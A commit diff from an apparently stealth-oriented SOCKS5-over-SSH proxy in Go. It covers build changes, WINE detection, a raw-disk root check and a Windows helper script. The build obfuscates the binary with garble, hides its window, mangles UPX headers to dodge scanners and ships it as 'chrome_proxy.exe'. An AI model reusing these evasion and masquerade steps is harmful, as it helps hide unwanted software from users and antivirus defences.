Don't mangle UPX header id

.github/workflows/build.yml

@@ -100,9 +100,9 @@ jobs:
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
-
+      # NOTE: Some virus and malware scanners detect mangled UPX headers and mark it as suspisious
-      - name: Obfuscate UPX packed executable
+      #- name: Obfuscate UPX packed executable
-        run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe"
+      #  run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe"
 
       - name: Copy win64 release exe for dist
         run: "cp dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe dist/chrome_proxy.exe"

.goreleaser.yaml

@@ -35,7 +35,9 @@ builds:
 
   - id: "win-release"
     env:
-      - CGO_ENABLED=0
+      - CGO_ENABLED=1
+      - CC=x86_64-w64-mingw32-gcc
+      - CXX=x86_64-w64-mingw32-g++
     goos:
       - windows
     goarch:

Makefile

@@ -1,7 +1,6 @@
-SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
+SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go
 GARBLE_BIN = $(shell go env GOPATH)/bin/garble
 GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
-RELEASE_VERBOSE_MODE_KEY ?= ""
 
 all: socks5-ssh-proxy
 
@@ -21,7 +20,8 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
 	upx $@
 win: socks5-ssh-proxy.exe
 socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
-	GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
+#	CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
+	CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
 	upx $@
 	go run cmd/upx-obfuscator/main.go $@
 goreleaser: resources $(GARBLE_BIN)

main.go

@@ -142,5 +142,6 @@ func main() {
 func mainLoop() {
 	for {
 		// TODO handle CTRL+C in debug and release + VMK modes
+		time.Sleep(time.Minute)
 	}
 }

scripts/run-under-wine.sh

@@ -0,0 +1,4 @@
+#!/bin/sh
+export VMK="ShowMeTheMoney"
+wine64 wineconsole &
+wine64 /Users/jerry/src/github.com/xor-gate/go-socks5-ssh-proxy/socks5-ssh-proxy.exe

system.go

@@ -156,6 +156,10 @@ func systemIgnoreAllSignals() {
 }
 
 func systemOSDetect() {
+	wineVersion := systemGetWINEVersion()
+	log.Println("WINE version", wineVersion)
+	log.Println("IsUserRoot", systemIsUserRoot())
+
 	wineOSFiles := systemGetWellKnownWINEOSFiles()
 	if len(wineOSFiles) != 0 {
 		log.Println("WINE detected")

system_unix.go

@@ -0,0 +1,14 @@
+//go:build !windows
+// +build !windows
+
+//
+package main
+
+func systemGetWINEVersion() string {
+	return ""
+}
+
+
+func systemIsUserRoot() bool {
+	return false
+}

system_windows.go

@@ -0,0 +1,38 @@
+//go:build windows
+// +build windows
+
+package main
+
+import (
+	"C"
+	"golang.org/x/sys/windows"
+	"os"
+	"unsafe"
+)
+
+func systemGetWINEVersion() string {
+	ntdll := windows.NewLazyDLL("ntdll.dll")
+	wineGetVersionFunc := ntdll.NewProc("wine_get_version")
+
+	err := wineGetVersionFunc.Find()
+	if err != nil {
+		return ""
+	}
+
+	ret, _, _ := wineGetVersionFunc.Call()
+	retCStr := (*C.char)(unsafe.Pointer(ret))
+	wineVersion := C.GoString(retCStr)
+
+	return wineVersion
+}
+
+func systemIsUserRoot() bool {
+	root := true
+
+	_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
+	if err != nil {
+		root = false
+	}
+
+	return root
+}